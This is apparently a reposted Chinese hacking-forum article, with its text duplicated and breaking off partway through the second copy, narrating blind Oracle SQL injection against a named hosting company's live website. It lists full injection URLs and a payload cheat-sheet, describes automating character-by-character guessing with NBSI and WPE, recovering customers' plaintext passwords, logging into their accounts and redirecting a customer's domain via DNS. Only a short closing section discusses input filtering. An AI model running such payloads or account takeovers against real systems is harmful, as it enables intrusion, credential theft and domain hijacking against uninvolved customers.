本文链接自
黑客基地
原文: 万网的尴尬-万网ORACLE注入漏洞曝光
前段时间,手上的项目做完以后,闲着无事,便在网上到处逛逛。看见群里的朋友聊天说自己的什么什么站什么什么 论坛开张了。欢迎大家去玩去下载东东,还是.com,.com.cn的域名,很是羡慕啊。虾米时候我才能有自己的主机和顶级域名呢......幻想流口水中......。想到申请主机和域名,自然就想到了中国万网(在中国太有名嘛^ _^)。去那里看看吧,看看到底要多少米。顺手就打开了万网的主页。哇咔,一台标准的ASP.NET主机一年要1600大元......一个域名要200。刚想算了,又看到了主页右上角的 会员登陆界面,平时做 安全的习惯让我"贼"心又起。呵呵,那就来看看能不能发现什么 漏洞,弄个 会员就好拉,反正现在也没什么事做。
随便在网站内转了转,在关于万网里看到:万网( _blank> www.net.cn)是中国最大的域名和网站托管 服务提供商。是中国互联网 服务行业的旗舰。号称拥有10多年Unix 经验的系统工程师、CISCO路由器专家、Orcale 数据库专家 、微软MCSE认证工程师、Java/ASP/Perl/C 编程高手和 网络 安全专家。咳咳......汗。这种大网站 服务器的 安全措施恐怕不知道做了N条。说不定做了映射,加了N高级的IDS和FW,说不定还做了蜜罐等着呢,补丁肯定素早打全了。拿出端口扫描的 工具扫了一下......郁闷了......。看来直接从 服务器 入侵是没什么希望了......
继续转了转,发现了一个情况,嘿嘿,万网的站点使用ASP写的。要知道,前段时间ASP+MSSQL的注入可是闹的沸沸扬扬,不少站点都吃了苦头。万网这种大网站,会有这种问题吗?不管了,先试一试再说。找了个链接:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
这是个购买虚拟主机的页面,先用经典的and 1=1 and 1=2方法来测试了一下。我晕~全部都是返回类型不匹配: 'CDbl'错误。唉,难道真的是不行了吗?还是不甘心,再来看一看用的什么 数据库吧。在参数后面加上一个单引号,提交,页面返回错误:
OraOLEDB 错误 '80004005'
ORA-01756: 括号内的字符串没有正确结束
/HAS _Client/buy/vir _host/vir _host1 _SB.asp,行285
哈哈,原来用的是ORACLE。难怪。而一般用ORACLE 数据库出现这样的返回错误,都是可能存在问题的。这和MSSQL出现什么未闭合的引号的返回错误差不多,不过MSSQL出现那样的错误提示我们就几乎可以肯定存在注入 漏洞了,而ORACLE则要再进一步确定一下。
一下子来了精神,继续做进一步的判定。注意,以下几步的判定是我们后面的 入侵的基础,非常重要。
我们再分别提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20all _tables)%20and%20'1'='1
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tables)%20and%20'1'='1
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns)%20and%20'1'='1
这几个是看看有没有有没有我们猜测的ORACLE的系统表all _tables,user _tables和user _tab _columns。我们以后的渗透都要靠这几个系统表才能完成。如果没有,就没的玩拉。
页面全都成功返回了,说明存在猜测的系统表,同时也说明我们提交的SQL语句,程序做了处理。到此,也确认了这个页面确实存在SQL注入 漏洞。YEAH!
在给万网发了N封邮件无反应后,我开始了进一步的渗透。
下面,我们就开始正式的注入。当然,如果上面猜测系统表的页面不能正常返回的话......那多半是不能成功了。^ _^
首先我们来整理一下思路。 数据库中最关键的就是用户的帐号信息,而最最关键的就是用户的用户名和 密码。我们首要的目标就是这个。那怎么在ORACLE 数据库中定位这个信息呢。我们来这样做,user _tab _columns这个系统表里存放了所有的用户表的列名。我们就从这里下手。提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25')%20AND%20'1'='1
这里的意思是查询user _tab _columns表里有没有包含PASSWORD字串的列名。
页面正确返回,哈哈,说明有列名是包含PASSWORD字串的。
我们也可以测试PWD,ADMIN,PASS等等敏感的字段。这里我们就从PASSWORD这个下手。知道了有包含PASSWORD字串的列名。那我们怎么来知道是什么表包含了这个列名呢?我们这样做,提交
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='A')%20AND%20'1'='1
这里的意思是查看 数据库中以A开头的表中有没有列名是包含PASSWORD字段的。如果有的话页面就会正确返回。否则就会报错:
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'CDbl'
/HAS _Client/include/vh _getproperty.asp,行46
如图:
可是这样一个个试实在是......太累......26个字母呢......。这里我利用了NBSI的后台管理地址扫描功能来进行自动检测。我们这样做:
NBSI的后台管理地址扫描的地址是由Dict _Admin.txt这个文件来控制的。我们就把文件的内容换成:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='A')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='B')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='C')%20AND%20'1'='1
。
。
。
然后我们在程序中扫描地址中填上 _Client/buy/vir _host" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host。点开始扫描。NBSI就开始帮我们一个个去GET设定的地址了。这里有一个问题,就是500错误NBSI也会显示在下面的结果栏里,而我们只要它显示返回200 OK的地址。怎么办呢?我们拿出我们的WPE PRO。WPE PRO是一个实时截获修改数据包的 工具。我们用它把返回的500错误改成404页面不存在。那NBSI就不会在下面显示这个500错误的地址了。WPE的具体用法我这里就不详细说了,网上有 教程的。给出个截图。
这样,可以使我们猜测的效率大大的提高。后面的大规模的猜测也是这样。
通过猜测,我们得到了有以C,D,H,M,S,V开头的表中包含了敏感字段。一个个来看吧。累哦:)
先来看C。 数据库中以C开头的数据表可能有很多,到底哪个是我们所需要的那个呢。我们继续来猜测第二位。把Dict _Admin.txt(以下简称ADMIN)文件的内容用全部替换功能换成:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,2)='CA')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,2)='CB')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,2)='CC')%20AND%20'1'='1
。
。
。
再次进行检测。OK,得到我们所需要的那个表的前两个字符是CU。然后再检测第三位。。。如此循环。最后得到包含有敏感列名的以C开头的表明为CUSTOMERMST。看到了CUSTOMER......嘿嘿,有戏哦。当然,猜到五个字符左右的时候,你可以提交
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user _tables where table _name like '%25XXXXX%25' and length(table _name)=N) and '1'='1
来确定猜测的表名的长度是多少。这样更准确快捷一些。
猜完了表名,可以提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user _tables where table _name= 'CUSTOMERMST') and '1'='1
来确认一下。页面正确返回就OK了。:)
继续继续。到现在,我们还不知道具体的列名。下面我们就着手开始猜测CUSTOMERMST表的列名。由于ORACLE没有象MSSQL那样"砰"的一声直接暴字段的功能,所以我们只能去慢慢猜,累啊。。。幸亏个自制的NBSI+WPE的土检测器。。。* _*。闲话少说,下面来猜测列名,将ADMIN文件的内容改成:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,1)='A')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,1)='B')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,1)='C')%20AND%20'1'='1
。
。
。
这里的意思是通过猜测来看看在CUSTOMERMST表中存在哪些字母开头的列名。页面正确返回,也就是返回200 OK,那就是存在。
通过检测,知道存在以A,B,C,E,F,G,I,L,M,O,P,R,S,U开头的列名。我晕,这么多。。。没办法,慢慢来吧。先来看A开头的:
这里的方法和上面猜测表名的方法差不多,将ADMIN文件的内容改为:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,2)='AA')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,2)='AB')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20table _name='CUSTOMERMST'%20and%20substr(column _name,1,2)='AC')%20AND%20'1'='1
。
。
。
OK,得到前两位是AR,继续。。。最后得到列名为AREAID。这里需要注意一点的是,在一位位检测的时候,可能出来多个结果,就说明有多个列名。比如检测以B开头的第二位的时候,BI和BU都返回200 OK,那么就说明有以BI,BU开头的列名,下面要分别去猜。以此类推,最后我们得到了CUSTOMERMST表的所有列名(擦一下汗......):
AREAID
BIRTHDAY
BIZID
BUSINESSSTATUS
CHANNEL _STAFFID
CITYID
CONTACT
COUNTRY
CUSTOMERID
CUSTOMERINDUSTRY
CUSTOMERORIGINTYPE
EMAIL
EMAILBACKUP
。
。
。
PASSWORD
。
。
。
USERID
。
。
看名字,就知道CUSTOMERID,PASSWORD和USERID这三个字段是最重要的。
万网在登陆的时候是用一个数字ID和 密码登陆的。那么这两个ID到底哪个才是用来登陆的ID呢?我们这样来做。到万网首页登陆框那里,用通过用户名查数字ID的方法查个ID过来。恩。。。用什么用户的名字呢?我们可是对数据的类型一无所知啊。在首页上转了转,发现底部有个万网新客户推荐栏目。仔细看了一下,有个房地产门户-搜房网 _blank> http://www.soufun.com/ 恩,就用soufun这个名字好了~^ _^
OK,得到soufun用户的ID是10529112。下面我们就来确定哪个字段才是ID字段。提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20CUSTOMERID='10529112')%20and%20'1'='1
哇靠,页面没有正确返回,返回了错误。看来不是这个字段。再提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112')%20and%20'1'='1
OK,嘿嘿,这次页面正确返回了。看来USERID字段是放用户登陆ID的。同样方法,检测出CUSTOMERID字段是放用户名的。
字段属性知道了,下面开始猜 密码了,还是用这个admin用户。当然,还是要一位位的猜。终于可以猜 密码了,嘿嘿。不累了。将ADMIN文件内容改成:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='a')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='b')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='c')%20AND%20'1'='1
。
。
。
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='0')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='1')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='2')%20AND%20'1'='1
。
。
。
这里要加上是个阿拉伯数字, 密码一般是字母加数字嘛:)。上面就是猜ID为10529112的用户的 密码的第一位。几秒过后, 密码第一位出来了,是n。继续猜第二位,方法和上面猜表名,列名的方法一样,唯一不同的就是这里不会出现多个结果了。最后得到ID是10529112的用户的 密码是n****。我晕, 密码竟然不加密。。。 数据库和 安全专家呢。。。?
猜出了 密码,恩,来登陆一下SEESEE,嘿嘿。
哈哈,登陆OK!。。。可用金额竟然素-130元......,晕!还能透支的?欺骗偶滴感情T _T。不怕!找到存钱的字段,UPDATE!嘿嘿......可惜我试了N次都不知道该怎么正确的执行update和insert,5555555。哪位高手有好的方法,大家交流一下:)
当然,登陆进去以后就有了这个帐户的一切权利。先来看看已付款产品管理。......什么东东都没有,晕!再来看看这个用户的财务信息:
恩......打开最近的一笔交易。发现是转了130大元到了10144167。难道10144167这个帐号才素有钱人?:P
马上破解出10144167的 密码u******,登陆进去。哈哈,原来是域名分销联盟伙伴,有钱人~余额329^ _^.再打开已付款产品管理,再哈哈,这么多域名啊~:P
打开页面底部的域名解析综合 服务,HOHO找到了中文通用域名注册-搜房网.中国。点击,就来到了搜房网.中国的域名解析 服务页面,这里我们可以随意更改搜房网.中国的解析,来控制域名指向。
说到这里,我的心思已经不是去弄个 会员了。因为这样的危害实在是太大了。想想看,我们得到了用户帐号和 密码,登陆进去,就可以轻易更改用户购买的域名的指向,指到我们指定的位置。试想一个恶意的 攻击者,把某个商业站点的域名指向指到自己制作的一个假的站点去,那么用户登陆这个商业站点的帐号信息也就等于毫无 安全可言了。我们访问在万网注册域名的网站将全部乱套。而对于购买了虚拟主机 服务的用户来说,危害就是, 攻击者通过万网提供的网站管理系统,可以完全控制网站,这个危害就不用说了。
对于万网来说,其所有的业务都有可能受到影响,数据可以被任意获取篡改,我想没有客户敢这样申请业务吧,呵呵。
比如就用上面的那个拥有很多域名的用户来做个演示。我想让szsxmd.gd.cn这个域名解析到著名的 _blank> www.xfocus.net 安全焦点。首先我PING一下 _blank> www.xfocus.net得到IP为202.106.127.50。然后,我进入域名解析综合业务,在szsxmd.gd.cn这个域名的解析业务里加一条记录,指定解析IP为202.106.127.50 。如图:
过了几个小时以后,域名解析生效,我们再访问szsxmd.gd.cn时,就会发现,我们来到了 安全焦点的页面:)
而在命令行中PING szsxmd.gd.cn时,会发现,地址解析为202.106.127.50:)
其他的一些危害是显而易见的,并且比较大,我就不再做实际的演示了。
数据库可以说是一个站点的重中之重。通过这个注入 漏洞,我们完全可以控制 数据库中的数据,不光光是用户帐号的信息,所有存在 数据库中的数据,我们都可以获取,体力活而已了。在开放PUBLIC组的UTL _FILE权限的情况下,其实还可以用UNION查询读取 服务器上的文件,这点和PHP+MYSQL注入中的load _file()有些相似。当然也可以执行UPDATE之类的。只是在ORACLE注入上,我还是个菜鸟,还没能更新插入数据和进行更高级的注入 攻击。而且ORACLE的注入只能一位位的去猜,并且没有自动化的 工具。我是利用了NBSI的后台扫描功能和WPE来提高了效率。不过我相信,高手是很多的,自动化的 工具也很快就会出现。^ _^
这里总结一下一些注入时用到的语句:
0〈〉(select count(*) from all _tables) and '1'='1 猜测是否有all _tables系统表,确认注入
0〈〉(select count(*) from user _tab _columns where column _name like '%25列名关键字%25') AND '1'='1 猜测是否有包含定义关键字的列名
0〈〉(select count(*) from user _tab _columns where column _name like '%25列名关键字%25' and substr(table _name,1,1)='A') AND '1'='1 包含关键列名的表中是否有以A开头的。即开始一位位猜表。
0〈〉(select count(*) from user _tables where table _name like '%25表名关键字%25' and length(table _name)=N) and '1'='1 猜测包表名含有关键字的表的长度
0〈〉(select count(*) from user _tab _columns where table _name='表名' and substr(column _name,1,1)='A') AND '1'='1 猜测列名
0〈〉(select count(*) from 表名 where 列名1='XXXXXXXX' and substr(列名2,1,1)='a') AND '1'='1 猜测数据
那么,ORACLE注入 漏洞的原理是什么呢?这里我就简单的介绍一下。就拿我们注入的这个页面来说。
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
在ASP程序的源码中的查询语句可能是:
select * from TABLE where PACKAGEID ='10341'
因为作为一个非开源程序的 攻击者来说,我们无从知道ASP程序中的源码究竟是什么样子的,只能通过返回的错误信息来判断大概的结构。所以这里我是举个大概的样子。
闲话少说。我们一起来分析。当我们访问这个页面时,ASP程序就根据URL中提交的参数10341去查询了TABLE表中PACKAGEID为10341的数据并且把它返回给我们。从我们测试的情况看,这个参数并没有做过滤就放到了查询语句中,这就给我们的注入提供了条件。当我们提交 _Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from all _tables) and ‘1'='1 时。在ASP程序中的查询语句就变成了这样:
select * from TABLE where PACKAGEID ='10341' and 0<>(select count(*) from all _tables) and ‘1'='1'
这样我们就成功的把我们想执行的查询语句插入了ASP程序原来的查询语句中。这里和MSSQL有所不同的是,我们不能用—符号将后面的语句注释掉,后面的and ‘1'='1就是为了匹配多出来的那个引号,从而使整个查询语句成立,正常返回页面。比如提交 _Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from all _tables) and ‘1'='1' and ‘x'='x 整个页面也是正常返回的^ _^。
其实要防止这种注入很简单,只要对在URL中提交的参数进行严格的过滤,去除一些比如单引号,SQL关键字等不应该出现的字符,应该来说, 攻击者就没有什么机会了。具体的做法可以是检查提交的URL中?号后面的字符串,发现有单引号,分号,SQL关键字等不该出现的字符的,马上就跳转到一个自定义的ERROR页面。个人认为这样是比较好的方法。尤其对于非开源程序的 攻击者来说,几乎就是绝路了。
网络 安全是多方面的,每个环节都必须要时刻注意。可以用一个链条来做比喻,如果这个链条中任意一个环节出了问题,那么整个链就断了。就像万网的这个 漏洞,虽然只是一个很小很小的问题,但是其影响是很大的,可以轻易的改变万网客户域名指向。如果我把很多的域名都指向某个站点,那这个站点就相当于瘫掉了。所以 网络上的 安全不是某家或者某些人的事情,而是需要我们整体从上到下都去做好,才可以。另外,自从经历了许许多多的蠕虫, 病毒的 攻击以后,大家普遍对自己 服务器的 安全关注起来,装FW,IDS,电信也参与进来封了一些端口。有些站点甚至就只开了80口。那么在 服务器上运行的 代码的 安全,就显得格外的重要了。一个小小地方的小小疏忽,就有可能造成全局的崩溃。防御 技术在不断进步, 攻击手段也在不断翻新。今天有SQL注入,明天又会出现什么呢?时刻关注最新的 攻击手段,我想对于一个优秀的管理员是非常重要的。遗憾的是现在有许多程序员在编写 代码时还没有一个 安全意识,而管理员只是把写好的 代码放到 服务器上,管好 服务器的 安全(我们公司也是这样,呵呵), 代码的编写 漏洞,就成为了一个突破口。我从高中就开始关注 安全的问题,现在也在从事这方面的工作。可以说现在的 网络比起以前, 安全了太多太多,但是 技术在进步,今天的 安全不代表明天的 安全。 安全是一个永恒的话题。我个人的感觉是,那些蠕虫, 病毒,是加强网管们 安全意识的最有力武器,同样我相信,利用 代码缺陷的 攻击,也会加强程序员们编写 代码时的 安全意识。^ _^
最后,希望万网解决这个 漏洞,对于专家们来说,我想解决这个问题也许只要花不到5分钟。另外,加强一下自己 数据库的数据 安全,加个密吧。还有,你们的邮件 服务器没问题吧?顺便提一下,国内还有很多站点有这样的注入 漏洞,比如XX之家,XX部等:)
感谢大家耐心的看完我的陋文。偶水平有限,如果有什么错误,欢迎大家能指正,偶的MSN:war3apollo@hotmail.com。对于外面的世界来说,偶永远是只菜鸟:)。
原文: 万网的尴尬-万网ORACLE注入漏洞曝光
前段时间,手上的项目做完以后,闲着无事,便在网上到处逛逛。看见群里的朋友聊天说自己的什么什么站什么什么 论坛开张了。欢迎大家去玩去下载东东,还是.com,.com.cn的域名,很是羡慕啊。虾米时候我才能有自己的主机和顶级域名呢......幻想流口水中......。想到申请主机和域名,自然就想到了中国万网(在中国太有名嘛^ _^)。去那里看看吧,看看到底要多少米。顺手就打开了万网的主页。哇咔,一台标准的ASP.NET主机一年要1600大元......一个域名要200。刚想算了,又看到了主页右上角的 会员登陆界面,平时做 安全的习惯让我"贼"心又起。呵呵,那就来看看能不能发现什么 漏洞,弄个 会员就好拉,反正现在也没什么事做。
随便在网站内转了转,在关于万网里看到:万网( _blank> www.net.cn)是中国最大的域名和网站托管 服务提供商。是中国互联网 服务行业的旗舰。号称拥有10多年Unix 经验的系统工程师、CISCO路由器专家、Orcale 数据库专家 、微软MCSE认证工程师、Java/ASP/Perl/C 编程高手和 网络 安全专家。咳咳......汗。这种大网站 服务器的 安全措施恐怕不知道做了N条。说不定做了映射,加了N高级的IDS和FW,说不定还做了蜜罐等着呢,补丁肯定素早打全了。拿出端口扫描的 工具扫了一下......郁闷了......。看来直接从 服务器 入侵是没什么希望了......
继续转了转,发现了一个情况,嘿嘿,万网的站点使用ASP写的。要知道,前段时间ASP+MSSQL的注入可是闹的沸沸扬扬,不少站点都吃了苦头。万网这种大网站,会有这种问题吗?不管了,先试一试再说。找了个链接:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
这是个购买虚拟主机的页面,先用经典的and 1=1 and 1=2方法来测试了一下。我晕~全部都是返回类型不匹配: 'CDbl'错误。唉,难道真的是不行了吗?还是不甘心,再来看一看用的什么 数据库吧。在参数后面加上一个单引号,提交,页面返回错误:
OraOLEDB 错误 '80004005'
ORA-01756: 括号内的字符串没有正确结束
/HAS _Client/buy/vir _host/vir _host1 _SB.asp,行285
哈哈,原来用的是ORACLE。难怪。而一般用ORACLE 数据库出现这样的返回错误,都是可能存在问题的。这和MSSQL出现什么未闭合的引号的返回错误差不多,不过MSSQL出现那样的错误提示我们就几乎可以肯定存在注入 漏洞了,而ORACLE则要再进一步确定一下。
一下子来了精神,继续做进一步的判定。注意,以下几步的判定是我们后面的 入侵的基础,非常重要。
我们再分别提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20all _tables)%20and%20'1'='1
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tables)%20and%20'1'='1
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns)%20and%20'1'='1
这几个是看看有没有有没有我们猜测的ORACLE的系统表all _tables,user _tables和user _tab _columns。我们以后的渗透都要靠这几个系统表才能完成。如果没有,就没的玩拉。
页面全都成功返回了,说明存在猜测的系统表,同时也说明我们提交的SQL语句,程序做了处理。到此,也确认了这个页面确实存在SQL注入 漏洞。YEAH!
在给万网发了N封邮件无反应后,我开始了进一步的渗透。
下面,我们就开始正式的注入。当然,如果上面猜测系统表的页面不能正常返回的话......那多半是不能成功了。^ _^
首先我们来整理一下思路。 数据库中最关键的就是用户的帐号信息,而最最关键的就是用户的用户名和 密码。我们首要的目标就是这个。那怎么在ORACLE 数据库中定位这个信息呢。我们来这样做,user _tab _columns这个系统表里存放了所有的用户表的列名。我们就从这里下手。提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25')%20AND%20'1'='1
这里的意思是查询user _tab _columns表里有没有包含PASSWORD字串的列名。
页面正确返回,哈哈,说明有列名是包含PASSWORD字串的。
我们也可以测试PWD,ADMIN,PASS等等敏感的字段。这里我们就从PASSWORD这个下手。知道了有包含PASSWORD字串的列名。那我们怎么来知道是什么表包含了这个列名呢?我们这样做,提交
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and%200<>" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='A')%20AND%20'1'='1
这里的意思是查看 数据库中以A开头的表中有没有列名是包含PASSWORD字段的。如果有的话页面就会正确返回。否则就会报错:
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'CDbl'
/HAS _Client/include/vh _getproperty.asp,行46
如图:
可是这样一个个试实在是......太累......26个字母呢......。这里我利用了NBSI的后台管理地址扫描功能来进行自动检测。我们这样做:
NBSI的后台管理地址扫描的地址是由Dict _Admin.txt这个文件来控制的。我们就把文件的内容换成:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='A')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='B')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,1)='C')%20AND%20'1'='1
。
。
。
然后我们在程序中扫描地址中填上 _Client/buy/vir _host" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host。点开始扫描。NBSI就开始帮我们一个个去GET设定的地址了。这里有一个问题,就是500错误NBSI也会显示在下面的结果栏里,而我们只要它显示返回200 OK的地址。怎么办呢?我们拿出我们的WPE PRO。WPE PRO是一个实时截获修改数据包的 工具。我们用它把返回的500错误改成404页面不存在。那NBSI就不会在下面显示这个500错误的地址了。WPE的具体用法我这里就不详细说了,网上有 教程的。给出个截图。
这样,可以使我们猜测的效率大大的提高。后面的大规模的猜测也是这样。
通过猜测,我们得到了有以C,D,H,M,S,V开头的表中包含了敏感字段。一个个来看吧。累哦:)
先来看C。 数据库中以C开头的数据表可能有很多,到底哪个是我们所需要的那个呢。我们继续来猜测第二位。把Dict _Admin.txt(以下简称ADMIN)文件的内容用全部替换功能换成:
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,2)='CA')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,2)='CB')%20AND%20'1'='1
vir _host1 _SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user _tab _columns%20where%20column _name%20like%20'%25PASSWORD%25'%20and%20substr(table _name,1,2)='CC')%20AND%20'1'='1
。
。
。
再次进行检测。OK,得到我们所需要的那个表的前两个字符是CU。然后再检测第三位。。。如此循环。最后得到包含有敏感列名的以C开头的表明为CUSTOMERMST。看到了CUSTOMER......嘿嘿,有戏哦。当然,猜到五个字符左右的时候,你可以提交
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user _tables where table _name like '%25XXXXX%25' and length(table _name)=N) and '1'='1
来确定猜测的表名的长度是多少。这样更准确快捷一些。
猜完了表名,可以提交:
_Client/buy/vir _host/vir _host1 _SB.asp?PackageID=10341'and" target= _blank> http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user _tables where table _name= 'CUSTOMERMST') and '1'='1
来确认一下。页面正确返回就OK了。:)
继续继续。到现在,我们还不知道具体的列名。下面我们就着手开始猜测CUSTOMERMST表的列名。由于ORACLE没有象MSSQL那样"砰"的一声直接暴字段的功能,所以我们只能去慢慢猜,累啊。。。幸亏个自制的NBSI+WPE的土检测器。。。* _*。闲话少说,下面来猜测列名,将ADMIN文件的内容改成:
